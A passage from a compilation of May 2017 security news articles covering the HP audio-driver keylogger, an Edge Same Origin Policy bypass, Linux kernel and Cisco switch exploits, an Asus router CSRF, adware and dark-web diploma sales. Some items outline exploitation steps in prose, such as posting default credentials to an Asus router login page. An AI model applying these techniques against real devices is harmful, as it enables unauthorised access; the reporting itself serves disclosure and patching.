If any of the above files exist, Modzero advises that you should either delete or rename the above-mentioned executable file in order to prevent the audio driver from collecting your keystrokes.
"Although the file is overwritten after each login, the content is likely to be easily monitored by running processes or forensic tools," researchers warned. "If you regularly make incremental backups of your hard-drive - whether in the cloud or on an external hard-drive – a history of all keystrokes of the last few years could probably be found in your backups."
Also, if you make regular backups of your hard drive that include the Public folder, the keylogging file in question may also exist there with your sensitive data in plain text for anyone to see. So, wipe that as well.


'Risk': Inside the Inner Sanctum of Wikileaks' Assange

12.5.2017 securityweek BigBrothers
The enigmatic champion of a global movement for transparency and democracy. A Russian stooge. A West-hating attention-seeker. A cold fish with questionable attitudes and alleged diabolical sexual mores.

Julian Assange has been labeled all of these -- and many things besides -- since starting out as a media-savvy Robin Hood figure, wrestling facts from the powerful and serving them up unexpurgated for the masses.

Now, a fugitive from justice dogged by accusations of sexual assault and living a hermetic existence in London's Ecuadoran embassy for the last five years, he cuts a more embattled, slippery figure.

"Risk," a new documentary by Oscar-winning filmmaker Laura Poitras, starts out as an unsettlingly ambivalent portrait of the award-winning iconoclast but ends up revealing a darker side to Assange.

Filmed over six tumultuous years and taking in the 2016 US presidential election, it takes viewers closer than any previous film crew into Assange's inner sanctum.

"This is not the film I thought I was making. I thought I could ignore the contradictions, I thought they were not part of the story. I was wrong. They are becoming the story," Poitras says in a voiceover.

US cable network Showtime announced in April it had partnered with Neon to roll out the film at 36 US locations during May, before a television premiere later in summer.

WikiLeaks, founded by Assange in 2006, specializes in large-scale breaches of classified data that have made headlines around the world, as well as challenging the ethics of security services.

The 45-year-old computer programmer has claimed political asylum at the Ecuadoran embassy in London since 2012, having taken refuge to avoid being sent to Sweden.

- Misogyny -

There is an international arrest warrant out to get him to face allegations of unlawful coercion, sexual molestation and rape dating back to 2010.

Poitras's profile of Assange, who denies any wrongdoing, is a follow-up to her Academy Award-winning "Citizenfour" (2014), about fugitive leaker Edward Snowden and the NSA spying scandal.

Perhaps the most remarkable aspect of "Risk" is its success in shedding light on the ugly misogyny that runs through so much of the tech world, showing Assange describing the sexual assault allegations against him as the product of a feminist conspiracy.

He even suggests that if the alleged victims said sorry to him, he would "apologize for anything I did or didn't do to hurt their feelings."

"Risk" also gets up-close with security expert and close Assange ally Jacob Appelbaum, revealing that he is also facing accusations of sexual misconduct, which he too denies.

Assange doesn't accept that he and Poitras fell out, but appears through messages she reads out on camera to become colder with her, bruised by the fact that she didn't use WikiLeaks to publish Snowden's NSA material.

"That kind of created I think, as you see in the film, a tension between myself and Julian," the 53-year-old said during a Q&A following the North American premiere at the Art of the Real festival in New York last week.

At its height, WikiLeaks could claim to have provided valuable insights into the war on terror, helped bring about the Arab Spring and shone a light on civilian deaths in Iraq.

- Potent force -

Regardless of Assange's plummeting stock in the bourse of public opinion, the organization he founded remains undeniably relevant -- a potent force in geopolitics.

"Risk" underlines its continued influence in the confusion surrounding Assange's intervention in the US presidential election, and his suspected ties with Russia and with members of the Trump campaign.

In July WikiLeaks published 20,000 hacked emails from the Democratic National Committee, some innocuous but others hugely damaging to Hillary Clinton's presidential campaign.

By October, WikiLeaks was publishing thousands of emails from Clinton's campaign chairman, John Podesta, prompting effusive praise from then-candidate Donald Trump.

Assange denies that Russia or any other state was behind the leak.

Despite its focus on the murky world of espionage, "Risk" does have its lighter side, including a hilarious cameo by Lady Gaga paying a visit to Assange.

But had Poitras filmed for a few more months, her documentary could have had a romantic coda.

In a bizarre twist in the Assange saga, ex-Baywatch star Pamela Anderson has recently emerged as a rumored love interest of the secretive Australian, and in a poem posted on her website she complains about the "narrow lens Laura has picked."

The 49-year-old actress has reportedly visited the fugitive several times in recent months.


SOP Bypass in Microsoft Edge Leads to Credential Theft

12.5.2017 securityweek Security

A bug in Microsoft Edge could allow for bypassing the Same Origin Policy (SOP) and for stealing user passwords in plain text, stealing cookies, spoofing content, and other vulnerabilities, independent security researcher Manuel Caballero says.

The bug is created because a window can be forced “to change its location as if the initiator were the window itself,” the security researcher says. Applying this to iframes in the target page and adding data-uri with code can lead to a full SOP bypass.

Basically, a tab hosting a malicious site could change the location of a PayPal tab to a bank website, and the site would receive PayPal as its referrer instead of the malicious domain. This happens because Microsoft Edge confuses the real initiator of the request.

By leveraging the bug and an injection, an attacker could immediately retrieve user passwords, Caballero says (previously, he suggested that passwords could be stolen by logging out the user and expecting Edge to autocomplete). The bug isn’t new, but Microsoft failed to resolve it to date, he suggests.

The issue, he explains, is that both Edge and Internet Explorer confuse the initiator of a request when the location of the tag is changed in the middle of a server-redirect. This technique can be used to spoof the referrer. As an example, whatsmyreferrer can be tricked into considering that the user is coming from microsoft.com.

For that, one would need to open a new window with a server-redirect to microsoft.com, block the thread until Microsoft starts loading, and then set the location to whatsmyreferrer.com. However, the final location needs to be set from the target window itself using a self-reference, the researcher underlines.

In a recent blog post, Caballero details the steps and code required to make the bypass work. He explains that, in addition to spoofing the referrer, one can also set the location of an iframe to a data-uri, and also provides the code necessary to do so. This also results in a full SOP bypass, the notes.

The security researcher also notes that Edge autocompletes any input-password box without ids/names, provided that it is on the proper domain and has the required format. As a result, one can inject code in domains with saved passwords and have Edge immediately autocomplete them.

“Faking the originator leads to a referrer spoof, but thanks to the existence of data-uris and the fact that most sites render iframes, we can end up turning this vulnerability into a full SOP bypass. Then, because the password manager tries to be smart and complete everything without checking too much, we can simply render a universal snipped of code that will work everywhere,” Caballero concludes.


Malware Sends Stolen Cookies to Fake WordPressAPI Site

12.5.2017 securityweek Virus
A website pretending to be a core WordPress domain was recently used to steal user cookies and hijack sessions, Sucuri security researchers warn.

The offending website is code.wordprssapi[.]com, impersonating code.wordpressapi[.]com in an attempt to trick webmasters into considering that traffic to it is legitimate. The typo in domain name makes WordPrssAPI seem like a legitimate WordPress site, and website admins might consider it an official domain, although even the legitimate site has nothing to do with WordPress.

According to Sucuri, the fake WordPrssAPI domain was observed in a recent incident, where a piece of malware was gathering cookies and sending it to this fake site. By pretending to be working with a core WordPress domain, the malicious script could work unnoticed.

Stored in the user’s browser to track their behavior, cookies are also meant to keep users logged in during the active browsing session. Without cookies, the user would have to log in every time they wanted to take an action, so as to authenticate it. Thus, users stay logged in until they either log out or the cookie expires.

The malicious code in this incident was observed excluding cookies from user agents coming from search engine crawlers, thus ensuring that all data sent to the attacker-controlled website was more likely to immediately be usable, the researchers note.

The script would ensure the data belongs to a real user and then send it to the fake domain code.wordprssapi[.]com. These cooking allow the attacker to impersonate the user and perform various actions the users has permissions to perform. This type of attack becomes extremely dangerous when it comes to administrator users.

“These types of attack are not very common because they are complex to perform and are usually time-sensitive. Most online accounts, including WordPress, will automatically log users out after a certain period of inactivity,” Sucuri notes.

Attackers have been observed before using typos to evade detection by website owners, yet webmasters can prevent falling victims to such attacks by paying close attention to the code when auditing it.

“Be careful and always check that a domain is legitimate, especially if it is involved in collecting or sending information to a third-party site. Even if it was an official WordPress domain, sending cookies is always a red flag. Cookies contain a wealth of private information that should not be shared,” Sucuri says.

The researchers note that a core file integrity check or website monitoring service could help prevent threats, especially given that attackers are getting more creative at hiding their tracks.


Google Researcher Details Linux Kernel Exploit

12.5.2017 securityweek Exploit
Google researcher Andrey Konovalov has revealed details of a Linux kernel vulnerability that can be exploited via packet sockets to escalate privileges.

The issue, he explains, is a signedness issue that leads to an exploitable heap-out-of-bounds write. To trigger the bug, one would need to provide “specific parameters to the PACKET_RX_RING option on an AF_PACKET socket with a TPACKET_V3 ring buffer version enabled.”

Tracked as CVE-2017-7308, the vulnerability is created by the fact that the packet_set_ring function in net/packet/af_packet.c in the Linux kernel up to 4.10.6 does not properly validate certain block-size data. Because of that, a local user can cause a denial of service or gain privileges via crafted system calls.

According to Konovalov, the issue was introduced in August 2011, together with the TPACKET_V3 implementation. In August 2014, an attempt was made to resolve the vulnerability by adding more checks, but a proper fix wasn’t released until March 2017.

“The bug affects a kernel if it has AF_PACKET sockets enabled (CONFIG_PACKET=y), which is the case for many Linux kernel distributions. Exploitation requires the CAP_NET_RAW privilege to be able to create such sockets. However it's possible to do that from a user namespace if they are enabled (CONFIG_USER_NS=y) and accessible to unprivileged users,” the researcher explains.

Packet sockets as a kernel feature are widely used, which results in a large number of popular Linux kernel distributions being impacted, including Ubuntu and Android. A complete list of vulnerable Linux kernel versions is available at SecurityFocus.

While updated Ubuntu kernels are already available, an update for Android won’t arrive until July, the researcher explains. However, he also notes that only some privileged components in the mobile platform have access to AF_PACKET sockets, while untrusted code is blocked from accessing it.

In addition to providing all of the necessary technical details pertaining to the vulnerability and exploit, Konovalov reveals that a way “to fix the overflow is to cast tp_sizeof_priv to uint64 before passing it to BLK_PLUS_PRIV.” He also notes that this is the approach he took in the fix sent upstream.

Creating packet socket requires the CAP_NET_RAW privilege, which can be acquired by unprivileged users inside user namespaces (which create a huge kernel attack surface, resulting in vulnerabilities such as CVE-2017-7184, which was disclosed at Pwn2Own 2017). Completely disabling user namespaces or disallowing using them to unprivileged users can mitigate the issue.

“To disable user namespaces completely you can rebuild your kernel with CONFIG_USER_NS disabled. Restricting user namespaces usage only to privileged users can be done by writing 0 to /proc/sys/kernel/unprivileged_userns_clone in Debian-based kernel. Since version 4.9 the upstream kernel has a similar /proc/sys/user/max_user_namespaces setting,” the researcher says.

Konovalov, who found the bug using the open-source Linux system call fuzzer called syzkaller and dynamic memory error detector KASAN, also published a proof-of-concept local root exploit for the flaw.


Cisco patched CVE-2017-3881 IOS XE Vulnerability leaked in CIA Vault 7 Dump
11.5.2017 securityaffairs Vulnerebility

Cisco patched the critical CVE-2017-3881 flaw that affects CISCO Catalyst switches and that can be potentially exploited by attackers to hijack networks.
Cisco patched a critical security flaw, tracked as CVE-2017-3881, affecting its CISCO Catalyst switches that can be potentially exploited by attackers to hijack networks.

The vulnerability was disclosed in the CIA Vault 7 data leak, according to Switchzilla a remote attacker can exploit it by simply establishing a Telnet connection and sending a cluster management protocol (CMP) command to the affected network device.

“The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors:

The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and
The incorrect processing of malformed CMP-specific Telnet options.
” reads the Cisco security advisory published on Monday.

CVE-2017-3881 flaw CISCO Catalyst switches

The vulnerability affects the default configuration of the flawed devices even when the user doesn’t have switch clusters configured, and can be exploited over either IPv4 or IPv6.

“An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections,”

Artem Kondratenko published the CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept exploit code.

“Do you still have telnet enabled on your Catalyst switches? Think twice, here’s a proof-of-concept remote code execution exploit for Catalyst 2960 switch with latest suggested firmware. Check out the exploit code here.” wrote Kondratenko.”What follows is a detailed write-up of the exploit development process for the vulnerability leaked from CIA’s archive on March 7th 2017 and publicly disclosed by Cisco Systems on March 17th 2017. At the time of writing this post there is no patch available. Nonetheless there is a remediation – disable telnet and use SSH instead.”

Just after the disclosure of the CVE-2017-3881 flaw, CISCO confirmed that the IOS / IOS XE bug affects more than 300 of its switch models, including Cisco Catalyst, Embedded Services, and Industrial Ethernet switch models.

As mitigation measures, experts from CISCO suggested to disabled Telnet connections, SSH remains the best option to remotely access the devices.


Hackers are selling fake diplomas and certifications in the dark web
11.5.2017 securityaffairs Hacking

According to Israeli threat intelligence firm Sixgill, certifications and fake diplomas are very cheap and easy to buy in the dark web.
It is quite easy to buy in dark web marketplaces any kind of illegal product and service, including fake certifications and diplomas.

According to Israeli threat intelligence firm Sixgill, certifications and degrees are very cheap and it is possible to hire hackers to break into the university computer systems and alter grades. Sixgill identified several hackers that could be hired to compromise systems at the University in order to change grades and remove academic admonishments.

According to the experts, this is a profitable business for hackers and the market of fake diplomas is booming.

As Sixgill CEO and CoFounder, Avi Kasztan says, “Cyber criminals have created a digital marketplace where unscrupulous students can purchase or gain information necessary to provide themselves with unfair and illegal academic credentials and advantages” told TheNextWeb.

Researchers from Sixgill have identified multiple vendors offering for sale degrees and accreditation, and the quality of the documents in some cases it high.

Dark Web fake diplomas

Sixgill report a case of a seller offering a fake London Metropolitan University diploma that claims the quality of the paper and the embossed seal, and how it’s the “identical size to the original”.

According to the vendor, such kind of document is “Perfect to be used at places where they just do a cursory inspection (eg: where they just look at the seal and appearance of the degree itself, without doing any cursory checks).”

Of course, crooks have in their product portfolio the fake degrees from most prestigious institutions like Oxford University, Cambridge University, and Harvard, but the researchers highlighted that the majority of them are from ordinary schools (i.e. Liverpool John Moores University, Middlesex University, and the University of Northern Iowa).

Crooks also offer many other types of counterfeit documents, including drivers licenses and passports, and fake professional certifications.

As usual, buyers can use the Bitcoin for payments, prices for fake diplomas range from $200-400, and most of the markets that offer them also give to the user an escrow service.

Sixgill also reported the case of an alleged hacker who was searching for a skilled hacker to “… change a few notes in my university system.”


In one forum thread, a student was recruited to physically access the teacher’s computer to insert an infect an infected USB in order to install a Keylogger.

Sixgill also discovered the sale of a guide on how to hack university grading systems, the document was offered for just $15.


Patch your Asus RT wireless routers now to avoid ugly surprises
11.5.2017 securityaffairs Vulnerebility

Security experts at Nightwatch Cybersecurity have found serious flaws in the Asus RT wireless routers that could allow hackers to take over them.
Security experts at Nightwatch Cybersecurity serious flaws in the Asus RT wireless routers. Dozens of models don’t implement an adequate protection against cross-site request forgery attacks.

The vulnerability, tracked as CVE-2017-5891, affects the Asus RT wireless RT-AC and RT-N models running firmware older than version 3.0.0.4.380.7378.

Asus RT wireless routers

Poorly configured devices left with default credentials could be easily accessed by an attacker that can take the control of the devices.

According to the experts at Nightwatch Cybersecurity, which discovered the security vulnerability, CSRF on the login page could be exploited by attackers to submit a login request to the router without the user’s knowledge

“The login page for the router doesn’t have any kind of CSRF protection, thus allowing a malicious website to submit a login request to the router without the user’s knowledge. Obviously, this only works if the site either knows the username and password of the router OR the user hasn’t changed the default credentials (“admin / admin”). To exploit, submit the base-64 encoded username and password as “login_authorization” form post, to the “/login.cgi” URL of the browser.” reads the blog post published by Nightwatch Cybersecurity.

Below an example of the form that be exploited by an attacker to trigger the issue:

Asus RT wireless RT-AC

Once the attacker has accessed the admin interface of the router he can change the settings, and hijack the DNS, and perform other malicious activity.

Experts at Nightwatch also discovered two JSONP vulnerabilities that can expose sensitive information, including network map and details about the router.

Asus has solved the CSRF vulnerability with the release of a firmware update in March, anyway, it hasn’t addressed one of the vulnerabilities discovered by Nightwatch, the CVE 2017-5892 flaw.

Below the other bugs fixed with this last firmware release:

CVE-2017-6547, a cross-site scripting bug in the routers’ HTTP daemon.
CVE-2017-6549, a session hijack vulnerability in the HTTP daemon.
CVE-2017-6548, a remote code execution buffer overflow in the routers’
networkmap
command.
Don’t wast time, update your Router.


Conexant audio driver works as Built-in Keylogger feature in dozens HP devices
11.5.2017 securityaffairs Virus

A Security researcher discovered that a Conexant audio driver shipped dozens HP laptops and tablet PCs logs keystrokes.
Security researcher Thorsten Schroeder of security firm Modzero discovered that a Conexant audio driver shipped with many HP laptops and tablet PCs logs keystrokes. The expert discovered that MicTray64.exe application, which is installed with the Conexant audio driver package, is registered as a scheduled task in Windows systems and is able to monitor keystrokes to determine if the user has pressed any audio-related keys (e.g. mute/unmute).

The keystrokes are logged to a file in the Users/Public folder Furthermore and are passed on to the OutputDebugString debugging API, allowing a process to access the data via the MapViewOfFile function.

Unfortunately, this feature can be abused to steal user data such as login credentials, a malware could access keystrokes without triggering security solutions monitoring for suspicious activities.

Conexant audio driver keylogger

The researcher observed that an earlier version of the MicTray64 app released in December 2015 did not log keystrokes to a file, the dangerous feature was implemented starting from the version 1.0.0.46 released in October 2016.

“Actually, the purpose of the software is to recognize whether a special key has been pressed or released. Instead, however, the developer has introduced a number of diagnostic and debugging features to ensure that all keystrokes are either broadcasted through a debugging interface or written to a log file in a public directory on the hard-drive. This type of debugging turns the audio driver effectively into a keylogging spyware. On the basis of meta-information of the files, this keylogger has already existed on HP computers since at least Christmas 2015.” Schroeder wrote in a blog post.

“There is no evidence that this keylogger has been intentionally implemented. Obviously, it is a negligence of the developers – which makes the software no less harmful,”

The flaw, tracked as CVE-2017-8360, affects 28 HP laptops and tablet PCs, including EliteBook, Elite X2, ProBook, and ZBook models. The experts at Modzero speculate other devices manufactured by other vendors that use Conexant hardware and drivers could be affected.

Users are invited to delete the MicTray64 from \Windows\System32 and the MicTray.log log file from \Users\Public.

HP plans to fix the issue as soon as possible.


DHS Funds Smartphone Authentication Projects

11.5.2017 securityweek BigBrothers
The U.S. Department of Homeland Security (DHS) is funding three smartphone digital identity and privacy projects including mobile device attribute verification, mobile authentication, and physical access control. A total of $2.4 million was awarded to the Kantara Initiative, and these three projects are the first to be launched by the Kantara Identity and Privacy Incubator Program (KIPI).

The three KIPI projects involve Mobile Device Attribute Verification (MDAV) from Lockstep Technologies, Australia; Emergency Responder Authentication System for Mobile Users (ERASMUS) from Gluu Inc, USA; and Derived Credentials and NFC for Physical Access Control from Exponent Inc, USA.

"The basis for each project," commented Kantara's executive director, Colin Wallis, "is a unique re-configuration of emerging next generation standards and specifications delivered through mobile devices, like smartphones. The trend of leveraging the ubiquitous mobile device for digital identity solution continues to ramp worldwide. We are seeing a growing interest in incubator programs like KIPI."

Lockstep's MDAV uses certificates to ensure secure attributes, attribute sources and devices. Certificates are already used by many security departments to verify users' mobile devices; but developing an application to deliver the process widens its applicability.

"Potential applications," says Kantara, "include credentials for first responders, value added mobile driver's licenses, anonymous proof of age, clinical trial and e-health record confidentiality, electronic travel documentation, and privacy-enhanced national IDs."

Gluu's ERASMUS is designed for multiple autonomous organizations who need to share up-to-date information about a person's identity, skills and authorizations. It is, suggests Kantara, "especially relevant in the emergency responder community, where state, local and federal government organizations need to collaborate both in person and online."

Noticeably, ERASMUS is also the first implementation of Kantara's nascent Open Trust Taxonomy for Federation Operators (OTTO) standard.

The Exponent project is the development of smartphone NFC capabilities for physical access control. "The employee uses the phone in the same way as their physical Personal Identity Verification (PIV) Card to access a building," explains Kantara, "but the phone implementation provides improved convenience as well as options for difficult use cases such as a lost/stolen card or temporary credentials for non-PIV Card holders."

The MDAV and Exponent projects will improve smartphone authentication options that are already being used by some companies -- in essence, they will make such authentication easier, better and more accessible to security teams.

ERASMUS is a little different in that it delivers federated identity suitable for multiple organizations. In some ways, it is a poor man's NSTIC, the Obama initiated National Strategy for Trusted Identities in Cyberspace, designed to develop an identity ecosystem suitable for everyone, throughout the US.

One possible outcome of multiple identity/authentication projects is a fragmentation of the problem when all effort should be concentrated on a global solution such as NSTIC (or an alternative such as Identity 3). Kantara's Wallis doesn't accept this. "We do have various solutions in use but I don't believe fragmentation is a problem per se," he told SecurityWeek. "How else is progress made? Solutions are developed and tested. They go through their lifecycle and improvement updates are made until one is adopted. We are seeing that process with these three authentication projects."

But there does remain one issue. Not all security practitioners feel able to adopt smartphone-based authentication solutions because not all users have smartphones. This is particularly relevant for blue-collar industries and some multi-nationals. "There's no way around it," said Wallis. You need a smartphone for the advanced authentication we are talking about here." But, he adds, "Various analysts report that by 2020 there will be six billion smartphones in use. So, the problem of smartphone availability could solve itself. In the meantime, alternative authentication approaches to smartphones to consider include SMS, and voice authentication."


Microsoft Patches Edge Flaws Disclosed at Pwn2Own

11.5.2017 securityweek Vulnerebility
Microsoft this week patched several memory corruption vulnerabilities in the Edge web browser that were disclosed at the 2017 Pwn2Own hacking competition.

The white hat hackers who signed up for this year’s Pwn2Own earned a total of more than $800,000 for vulnerabilities in Windows, macOS, Ubuntu, Safari, Firefox, Edge, Flash Player, Adobe Reader, and VMware Workstation.

VMware, Mozilla, Adobe, Apple and Linux kernel developers addressed the flaws affecting their products in March and April, and Microsoft has now also started releasing patches. The Zero Day Initiative (ZDI), which organizes Pwn2Own, published six advisories on Wednesday for each of the security holes fixed by Microsoft.

The vulnerabilities affect the scripting engines used by Edge, including the Chakra JavaScript engine, and they can lead to privilege escalation, information disclosure and remote code execution. The following CVE identifiers have been assigned: CVE-2017-0233, CVE-2017-0234, CVE-2017-0240, CVE-2017-0238 and CVE-2017-0228.

According to ZDI, the use-after-free and heap-based buffer overflow vulnerabilities are related to the handling of Array, AudioBuffer, Array.unshift and ArrayBuffer objects. An attacker can exploit the flaws by getting the targeted user to visit a malicious website or open a specially crafted file.

Each of the vulnerabilities patched this week by Microsoft has a severity rating of “medium” in the ZDI advisories, with CVSS scores ranging from 4.3 to 6.9. Microsoft has assigned “critical” severity ratings to only two of the flaws: CVE-2017-0228 and CVE-2017-0240.

While not particularly dangerous on their own, some of the weaknesses can be highly valuable for attackers when combined with other bugs, as researchers demonstrated at the Pwn2Own competition.

There is no evidence that any of these flaws have been exploited in the wild, and exploits have not been released by the experts who found them.

Pwn2Own participants also disclosed several Windows vulnerabilities, including ones leveraged in exploit chains targeting Adobe products and web browsers, but it’s unclear if the Windows flaws have been patched as well.

Microsoft released patches for more than 50 vulnerabilities this week, including four zero-days that have been exploited in attacks by profit-driven cybercriminals and cyber espionage groups linked to Russia.


Rockwell Updates Stratix Routers to Patch Cisco IOS Flaws

11.5.2017 securityweek Vulnerebility
Rockwell Automation has released a firmware update for its Allen-Bradley Stratix 5900 services router to address tens of vulnerabilities patched over the past few years in Cisco’s IOS software.

The Stratix 5900 is a hardened security router that runs Cisco’s IOS software. According to ICS-CERT, the product is used worldwide in the critical manufacturing, energy, and water and wastewater sectors.

Firmware version 15.6.3 released recently by Rockwell Automation for its Stratix 5900 routers patches more than 60 vulnerabilities discovered in Cisco IOS since March 2014. This means that, for more than three years, organizations using these devices were left exposed to potential attacks exploiting these flaws.Rockwell Automation Stratix router

The list of security holes includes improper input validation, authentication, information exposure, path traversal, and resource management vulnerabilities that can be exploited for man-in-the-middle (MitM) attacks, denial-of-service (DoS) attacks, and remote code execution.

A majority of the flaws have been classified as high severity, and they can be exploited remotely without authentication. Cisco has not seen any evidence of exploitation in the wild, but for one vulnerability, tracked as CVE-2016-6415, the hacker group calling itself Shadow Brokers did release an exploit targeting Cisco PIX firewalls. The exploit in question may have been used in attacks by the NSA-linked Equation Group.

Some of the vulnerabilities patched with the latest Stratix 5900 firmware update affect third-party components, such as NTP and OpenSSL.

“Rockwell Automation encourages users of the affected versions to update to the latest available software versions addressing the associated risk, and including improvements to further harden the software and enhance its resilience against similar malicious attacks,” ICS-CERT said in its advisory.

This is the sixth advisory published by ICS-CERT this year for vulnerabilities in Rockwell Automation products. The organization previously disclosed critical, high and medium severity flaws affecting Logix5000, GuardLogix, FlexLogix and CompactLogix controllers, several Stratix switches, the Connected Components Workbench (CCW) software configuration platform, and the FactoryTalk Services Platform.


Czech Court to Rule This Month on Extradition of Russian Hacker

11.5.2017 securityweek Crime
A Czech court said Thursday that it would rule this month on where to extradite a Russian hacker wanted by the US for reportedly hacking the Democratic Party before the 2016 presidential vote.

Czech police and the US Federal Bureau of Investigation (FBI) arrested Yevgeny Nikulin, 29, in Prague last October on suspicion of staging cyberattacks on US targets.

The October arrest came as Washington formally accused the Russian government of trying to "interfere" in the 2016 White House race by hacking, charges the Kremlin has dismissed.

Following Nikulin's arrest, Moscow accused Washington of hunting its citizens and vowed to fight his extradition, before issuing a separate arrest warrant for Nikulin over alleged internet fraud.

His lawyer, meanwhile, claims that FBI agents tried to persuade Nikulin to confess to hacking the Democratic Party.

"The public hearing on the feasibility of extraditing Mr Nikulin to the United States and the Russian Federation... will resume on May 30," court spokeswoman Marketa Puci told AFP after an inconclusive hearing on Thursday.

The next hearing will take place at the Prague prison where Nikulin is being held.

Czech Justice Minister Robert Pelikan will have the final decision on the requested extradition.

The Czech newspaper DNES reported Monday that Nikulin's lawyer, Martin Sadilek, said that FBI agents who came to Prague to take his client's fingerprints tried to persuade him to confess to cyberattacks on the Democratic Party.

"They promised him he could walk free and other perks in exchange for confessing and cooperating," Sadilek said in a report on the DNES website.

Czech police have not said whether their arrest of Nikulin was linked to the cyberattack on the Democratic Party, while the White House under former president Barack Obama said that it could not comment.

Last July, campaign officials for Democratic US presidential candidate Hillary Clinton blamed Russia for an embarrassing leak of emails from the Democratic National Committee.

Russia has been accused of favoring Republican candidate Donald Trump -- who has praised Putin and called for better ties with Moscow -- over the more hawkish Clinton.

President Donald Trump's shock sacking Tuesday of FBI director James Comey -- who was overseeing federal investigations into suspected Kremlin interference in the US election -- has sparked a political firestorm in Washington.


Google Play Apps Expose Tens of Millions to Adware: Sophos

11.5.2017 securityweek Android
More than 50 applications distributed via Google Play have exposed tens of millions of Android users to a piece of adware packed inside the apps, Sophos researchers warn.

Dubbed Android XavirAd, the adware library displays annoying ads to affected users, and also collects personal information and sends it to a remote server. Detected as Andr/Infostl-BK, the information-stealing component is believed to have compromised up to 55 million users.

To explain how the malicious code works, the security researchers analyzed an application called Add Text on A Photo. The app displays full screen advertisements at regular intervals, even when it isn't being used.

When launched, the XavirAd library contacts a remote server to get configuration code. The server sends it the advertisement settings, including full screen ad intervals, and the library saves the information in shared preferences. The domain used for this is api-restlet.com, which appears to have been registered a year and a half ago and which has its origins in Vietnam, the security researchers reveal.

The program then downloads another .dex file from cloud.api-restlet.com, meant to collect various information from the user’s phone: the email address for the Google account, list of installed apps, IMEI identifier and android_id, screen resolution, SIM operator, app installation source, and device manufacturer, model, brand, and OS version. The collected data is encrypted and sent to a web address.

To add insult to injury, the application states in its privacy policy that it does not collect any personal information from the user’s device.

Sophos’ researchers also discovered that the XavirAd library tries to hide itself from security inspection. It uses encrypted strings, the class constructor contains a different decryption routine for each class, and keys are different in each class, although the algorithm remains the same.

Additionally, the malicious code includes anti-sandbox technology to hide itself from dynamic analysis. The adware first checks the emulator, then a series of strings for the emulator, and stops its malicious behavior if it detects it is running in a testing environment. Additionally, it checks the user’s email address for specific strings, as an additional layer of protection.

The list of Google Play apps found to contain the XavirAd library is available on Sophos’ blog. Users are advised to avoid them.


Microsoft Kills SHA-1 Support in Edge, Internet Explorer 11

11.5.2017 securityweek Security
As of May 9, 2017, Microsoft Edge and Internet Explorer 11 browsers no longer offer support for websites that are protected with a SHA-1 certificate.

Introduced in 1995, the SHA-1 cryptographic hash function has been proven insecure several times, with the first attacks against it demonstrated over a decade ago. After an attack method that lowered the cost of an SHA-1 collision in 2015, Google demonstrated earlier this year that this type of attacks is becoming increasingly practical.

Over the past few years, the industry has been moving away from SHA-1, yet numerous sites still use it. As of January 2017, most Certificate Authorities have stopped issuing new certificates that use the cryptographic hash function, and only one fifth of websites were still using such certs in March, which is looking much better compared to last fall, when 35% of websites were still using SHA-1.

Other web browsers makers revealed plans to deprecate SHA-1 a couple of years ago, and Microsoft confirmed a year ago plans to make a similar move. Initially, Edge and Internet Explorer 11 would display a warning when encountering sites using SHA-1, but starting this week, they are no longer loading these sites, the tech giant says.

“Beginning May 9, 2017, Microsoft released updates to Microsoft Edge and Internet Explorer 11 to block sites that are protected with a SHA-1 certificate from loading and to display an invalid certificate warning,” the company announced.

The change, however, impacts only SHA-1 certificates that chain to a root in the Microsoft Trusted Root Program where the end-entity certificate or the issuing intermediate uses SHA-1. This means that enterprises or self-signed SHA-1 certificates won’t be affected by this. They are, however, encouraged to migrate to SHA-2 based certificates as fast as possible.

“Microsoft recommends that all customers migrate to SHA-2, and the use of SHA-1 as a hashing algorithm for signing purposes is discouraged and is no longer a best practice. The root cause of the problem is a known weakness of the SHA-1 hashing algorithm that exposes it to collision attacks. Such attacks could allow an attacker to generate additional certificates that have the same digital signature as an original,” the company notes.

Mozilla and Google also moved forth with the removal of support for SHA-1 certificates in Firefox and Chrome earlier this year. The ultimate purpose is to completely disable the algorithm in all these browsers.


Forensics Tool Flaw Allows Hackers to Manipulate Evidence

11.5.2017 securityweek Hacking
A vulnerability in Guidance Software’s EnCase Forensic Imager forensics tool can be exploited by hackers to take over an investigator’s computer and manipulate evidence, researchers warned. The vendor has classified the attack as an “edge case” and it does not plan on patching the flaw any time soon.

Guidance Software’s forensics products are used by governments, law enforcement agencies and private companies worldwide, including the U.S. Department of Justice, the Department of Homeland Security, the London Metropolitan Police Service, Microsoft, IBM, Apple and Facebook.

The company’s EnCase Forensic Imager is a standalone tool designed for acquiring forensic images of local drives, and for viewing and browsing potential evidence files.

Researchers at SEC Consult have analyzed the product and found that it’s affected by a potentially serious vulnerability. The flaw allows a malicious actor to execute arbitrary code on a system running the EnCase Forensic Imager via a specially crafted image file.

In an attack scenario described by the security firm, a criminal prepares a USB drive with a specially crafted image in case he gets raided by law enforcement. Forensic investigators take the USB drive and they analyze it with EnCase Forensic Imager. When they use the tool’s option to search the drive for LVM2 logical volumes, the suspect’s malicious image triggers the execution of malware.

If the investigator’s computer is connected to the Internet, the malware can allow the attacker to remotely access the device and the files stored on it, and delete or manipulate evidence. For scenarios where the investigator’s machine is offline, the attacker can create a piece of malware that conducts predefined actions (e.g. delete files with a specified extension or name).

“EnCase Forensic Imager fails to check the length of strings copied from the definitions of logical volumes in an LVM2 partition. When EnCase Forensic Imager is used to analyze a crafted LVM2 partition, part of the stack is overwritten with attacker controlled data,” SEC Consult wrote in an advisory published on Thursday. “This allows an attacker to overwrite a pointer to code. After the program execution is transferred to the address specified in this pointer, the attacker has control of the consequent program execution.”


Researchers have developed a proof-of-concept (PoC) exploit for the vulnerability, but they will only make it public at a later date.

This is not the only vulnerability found by SEC Consult in the EnCase Forensic Imager. In late November 2016, the security firm disclosed the details of denial-of-service (DoS) and heap-based buffer overflow flaws affecting the software. Those issues remain unpatched to this day.

Guidance Software has not responded to SecurityWeek’s request for comment, but the company told SEC Consult that it sees both the vulnerability disclosed on Thursday and the flaws reported last year as “extreme edge cases.”

“Our products give investigators access to raw data on a disk so they can have complete access to all the information. Dealing with raw data means there are times when malformed code can cause a crash or other issue on an investigator’s machine. We train users for the possibility of potential events like this and always recommend that they isolate their examination computers,” the vendor stated.

